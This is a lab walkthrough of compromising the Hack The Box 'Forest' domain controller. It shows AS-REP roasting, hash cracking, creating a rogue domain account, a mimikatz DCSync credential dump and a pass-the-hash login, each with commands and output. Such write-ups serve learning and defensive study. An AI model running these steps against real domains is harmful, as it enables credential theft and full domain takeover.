

Forest walkthrough

Index

Index	1
List of pictures	1
Disclaimer	2
Reconnaissance	2
Initial foothold	3
User flag.....	3
Privilege escalation	4
Personal comments	5
References	5

List of pictures

Figure 1 - nMap scan results (part 1).....	2
Figure 2 - nMap scan results (part 2).....	2
Figure 3 - Users retrieved using Enum4Linux	3
Figure 4 - svc.alfresco Kerberos ticket	3
Figure 5 - Ticket cracked	4
Figure 6 - BloodHound suggested exploitation	4
Figure 7 - Hacker account created	4
Figure 8 - Hacker account added to "Exchange Windows Permission" group	4
Figure 9 - Hacker account added to "Remote Management Users" group	4
Figure 10 - Administrator NTLM credentials found	5
Figure 11 - Root flag.....	5

Disclaimer

I do this box to learn things and challenge myself. I'm not a kind of penetration tester guru who always knows where to look for the right answer. Use it as a guide or support. Remember that it is always better to try it by yourself. All data and information provided on my walkthrough are for informational and educational purpose only. The tutorial and demo provided here is only for those who are willing and curious to know and learn about Ethical Hacking, Security and Penetration Testing.

Just to say: I am not an English native person, so sorry if I did some grammatical and syntax mistakes.

Reconnaissance

The results of an initial nMap scan are the following:

```
(kali)~[~/Desktop/windapsearch]
$ nmap -sT -sV -p- -A -oA Forest 10.10.10.161
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-13 11:41 PST
Nmap scan report for htb.local (10.10.10.161)
Host is up (0.036s latency).
Not shown: 65511 closed tcp ports (conn-refused)
PORT      STATE SERVICE        VERSION
53/tcp    open  domain         Simple DNS Plus
88/tcp    open  kerberos-sec   Microsoft Windows Kerberos (server time: 2025-02-13 19:48:47Z)
135/tcp   open  msrpc          Microsoft Windows RPC
139/tcp   open  netbios-ssn    Microsoft Windows netbios-ssn
389/tcp   open  ldap           Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds   Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp   open  kpasswd5?      Microsoft Windows RPC
593/tcp   open  ncacn_http     Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap           Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http           Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf         .NET Message Framing
47001/tcp open  http           Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc          Microsoft Windows RPC
49665/tcp open  msrpc          Microsoft Windows RPC
49666/tcp open  msrpc          Microsoft Windows RPC
49667/tcp open  msrpc          Microsoft Windows RPC
49670/tcp open  msrpc          Microsoft Windows RPC
49676/tcp open  ncacn_http     Microsoft Windows RPC over HTTP 1.0
49677/tcp open  msrpc          Microsoft Windows RPC
49684/tcp open  msrpc          Microsoft Windows RPC
49703/tcp open  msrpc          Microsoft Windows RPC
49902/tcp open  msrpc          Microsoft Windows RPC
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
|_ clock-skew: mean: 2h46m48s, deviation: 4h37m10s, median: 6m46s
| smb-os-discovery:
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: FOREST
|   NetBIOS computer name: FOREST\x00
|   Domain name: htb.local
|   Forest name: htb.local
|   FQDN: FOREST.htb.local
```

Figure 1 - nMap scan results (part 1)

```
|_ System time: 2025-02-13T11:49:40-08:00
| smb2-time:
|   date: 2025-02-13T19:49:36
|_  start_date: 2025-02-13T17:19:21
| smb-security-mode:
|   account_used: guest
|_  authentication_level: user
|   challenge_response: supported
|_  message_signing: required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 92.34 seconds
```

Figure 2 - nMap scan results (part 2)

Open ports are 53, 88, 135, 139, 389, 445, 464, 593, 636, 3268, 3269, 5985, 9389, 47001, 49664, 49665, 49666, 49667, 49670, 49676, 49677, 49684, 49703, 49902. So, I found DNS (53), Kerberos (88), RPC (135, 593, 49664, 49665, 49666, 49667, 49670, 49676, 49667, 49684, 49703, 49902), NetBIOS (139), LDAP (389, 3268), SMB (445), two web applications (5985, 47001) and .NET (9389) services enabled. Also, I found three open ports (464, 636, 3269) for which nMap didn't recognize the service running on. Lastly, nMap recognize Windows as OS, but any other details about it.

Initial foothold

The first service I tried to analyze was SMB. However, I didn't find any interesting information. Next, I tried to analyze LDAP service. I used a lot of tools to extract all information I can. In particular, I was able to retrieve all possible users, as shown in the following picture:

```
index: 0x2158 RID: 0x466 acb: 0x00020011 Account: SM_75a538d3025e4db9a Name: Microsoft Exchange Desc: (null)
index: 0x215c RID: 0x46a acb: 0x00020011 Account: SM_7c96b981967141ebb Name: E4E Encryption Store - Active Desc: (null)
index: 0x215b RID: 0x469 acb: 0x00020011 Account: SM_9b69f1b9d2cc45549 Name: Microsoft Exchange Federation Mailbox Desc: (null)
index: 0x215d RID: 0x46b acb: 0x00020011 Account: SM_c75ee099d0a64c91b Name: Microsoft Exchange Desc: (null)
index: 0x2157 RID: 0x465 acb: 0x00020011 Account: SM_ca8c2ed5bdab4dc9b Name: Microsoft Exchange Desc: (null)
index: 0x2365 RID: 0x47b acb: 0x00010210 Account: svc-alfresco Name: svc-alfresco Desc: (null)

user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[$331000-VK4ADACQNUCA] rid:[0x463]
user:[SM_2c8eef0a09b545ac] rid:[0x464]
user:[SM_ca8c2ed5bdab4dc9b] rid:[0x465]
user:[SM_75a538d3025e4db9a] rid:[0x466]
user:[SM_681f53d4942840e18] rid:[0x467]
user:[SM_1b41c9286325456bb] rid:[0x468]
user:[SM_9b69f1b9d2cc45549] rid:[0x469]
user:[SM_7c96b981967141ebb] rid:[0x46a]
user:[SM_c75ee099d0a64c91b] rid:[0x46b]
user:[SM_1ffab36a2f5f479cb] rid:[0x46c]
user:[HealthMailboxc3d7722] rid:[0x46e]
user:[HealthMailboxfc9daad] rid:[0x46f]
user:[HealthMailboxc0a90c9] rid:[0x470]
user:[HealthMailbox670628e] rid:[0x471]
user:[HealthMailbox968e74d] rid:[0x472]
user:[HealthMailbox6ded678] rid:[0x473]
user:[HealthMailbox83d6781] rid:[0x474]
user:[HealthMailboxfd87238] rid:[0x475]
user:[HealthMailboxb01ac64] rid:[0x476]
user:[HealthMailbox7108a4e] rid:[0x477]
user:[HealthMailbox0659cc1] rid:[0x478]
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]
```

Figure 3 - Users retrieved using Enum4Linux

I checked on the Internet the user *svc-alfresco* and I found out that it is a service account. Studying the alfreco documentation, I learned that this account has not the Kerberos pre-authentication enabled.

User flag

Since the *svc-alfresco* user has not Kerberos pre-authentication, I was able to retrieve its Kerberos ticket:

```
kali@kali: ~/Desktop
$ /usr/share/doc/python3-impacket/examples/getNtUsers.py -request -outputfile ASRepRoastables.txt -dc-ip 10.10.10.101 'htb.local/'
Impacket V0.12.0.dev1 - Copyright 2023 Fortra

Name      MemberOf      PasswordLastSet      LastLogon      UAC
-----
svc-alfresco CN=Service Accounts,OU=Security Groups,DC=htb,DC=local 2025-02-17 09:58:00.416365 2019-09-23 04:09:47.931194 0x418200

/usr/share/doc/python3-impacket/examples/getNtUsers.py:163: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
$
```

Figure 4 – svc-alfresco Kerberos ticket

Since I found a Kerberos ticket, I tried to decrypt it:

```
$
Session.....: hashcat
Status.....: Cracked
Hash_Mode.....: 16200 (Kerberos 5, etype 23, AS-REP)
Hash_Target.....: $krb5asrep$23$svc-alfresco@HTB.LOCAL:289f8ffdc96a0...e37df8
Time_Started.....: Mon Feb 17 10:03:50 2025 (1 min, 15 secs)
Time_Estimated.....: Mon Feb 17 10:05:05 2025 (0 secs)
Kernel.Feature...: Optimized Kernel
Guess.Base.....: File (./FinalPassList.txt)
Guess.Queue.....: 1/1 (100.00%)
Speed.#1.....: 156.1 kH/s (1.54ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered.....: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.....: 12360473/14344434 (86.17%)
Rejected.....: 2329/12360473 (0.02%)
Restore_Point.....: 12359961/14344434 (86.17%)
Restore_Sub.#1...: Salt9 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: s3n0d0n → s3xydylan
Hardware.Mon.#1...: Utl:1805
Started: Mon Feb 17 10:02:50 2025
Stopped: Mon Feb 17 10:05:07 2025
kali@kali: ~/Desktop
```

Figure 5 - Ticket cracked

Luckily, I cracked it and I had its password. I can use these credentials to connect as *svc – alfresco* user using WinRM.

Privilege escalation

At this point, I looked for a way to escalate my privileges. To do it, I run an analysis on Active Directory using BloodHound. So, I run the command *sudo bloodhound – python – d htb.local – u svc – alfresco – p s3rvice – ns 10.10.10.161 – c all* and uploaded these information on BloodHound. I found out an interesting way to escalate my privileges:

– Windows Abuse

To abuse WriteDacl to a domain object, you may grant yourself DCSync permissions.

You may need to authenticate to the Domain Controller as a member of EXCHANGE WINDOWS PERMISSIONS@HTB.LOCAL if you are not running a process as a member. To do this in conjunction with Add-DomainObjectAcl, first create a PScredential object (these examples comes from the PowerView help documentation):

Figure 6 - BloodHound suggested exploitation

At this point, to not ruin my *svc – alfresco* account, I created a new account:

```
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net user hacker myPassword@0 /add /domain
The command completed successfully.
```

Figure 7 - Hacker account created

This new account needed some privileges and groups:

```
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net group "Exchange Windows Permissions" /add hacker
The command completed successfully.
```

Figure 8 - Hacker account added to "Exchange Windows Permission" group

```
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net localgroup "Remote Management Users" /add hacker
The command completed successfully.
```

Figure 9 - Hacker account added to "Remote Management Users" group

To exploit the box like BloodHound suggested, I needed to run Mimikatz. So, I uploaded it on the target (after I connect to it as hacker) and run it to find Administrator credentials:

```
*Evil-WinRM* PS C:\Users\hacker\Documents> ./mimikatz.exe "lsadump::dcsync /domain:htb.local /user:htb\Administrator"

##### mimikatz 2.2.0 (x86) #18362 Feb 29 2020 11:13:10
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v #' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/

mimikatz(commandline) # lsadump::dcsync /domain:htb.local /user:htb\Administrator
[DC] 'htb.local' will be the domain
[DC] 'FOREST.htb.local' will be the DC server
[DC] 'htb\Administrator' will be the user account

Object RDN : Administrator

** SAM ACCOUNT **

SAM Username : Administrator
User Principal Name : Administrator@htb.local
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00000200 ( NORMAL_ACCOUNT )
Account expiration :
Password last change : 8/30/2021 4:51:58 PM
Object Security ID : S-1-5-21-3072663084-364016917-1341370565-500
Object Relative ID : 500

Credentials:
Hash NTLM: 3: 6
ntlm- 0: 3: 6
ntlm- 1: 9: 7
ntlm- 2: 3: 6
lm - 0: 9: 2
lm - 1: f: 5

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
Random Value : cad4a87763ba795c795b96486148bb95

* Primary:Kerberos-Newer-Keys *
Default Salt : HTB.LOCALAdministrator
Default Iterations : 4096
Credentials
aes256_hmac (4096) : 910e4c922b7516d4a27f05b5ae6a147578564284fff8461a02298ac9263bc913
aes128_hmac (4096) : b5880b186249a067a5f6b814a23ed375
des_cbc_md5 (4096) : c1e049c71f57343b
OldCredentials
aes256_hmac (4096) : 44f53d59845f6fc874991dadd99efa2513ed4f1d26762c2130cb6af13c39d90a
```

Figure 10 - Administrator NTLM credentials found

At this point, I connected to the target as Administrator and I retrieved the root flag:

```
(k14diu5@kali)-[~/Desktop]
└─$ evil-winrm -i 10.10.10.161 -u Administrator -H '3[REDACTED]6'
Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..
*Evil-WinRM* PS C:\Users\Administrator> cd Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
7: [REDACTED]b
*Evil-WinRM* PS C:\Users\Administrator\Desktop> █
```

Figure 11 - Root flag

Personal comments

This box is very useful to practice and learn more about basic Active Directory exploitation. However, I am very surprised I didn't find any way to manually confirm that a user has not Kerberos pre-authentication. I found this detail only in the Alfresco documentation and I spent so much time to find the right way to make progresses. Also, the privilege escalation was not very intuitive for an unexperienced user like me on the Active Directory. This part took a lot of time too. In my opinion, it was a little bit challenging box, but very useful and important to improve my Active Directory skill. Lastly, I rated this box as "Not too easy".

References

- Attacking Kerberos: <https://www.tarlogic.com/blog/how-to-attack-kerberos/>.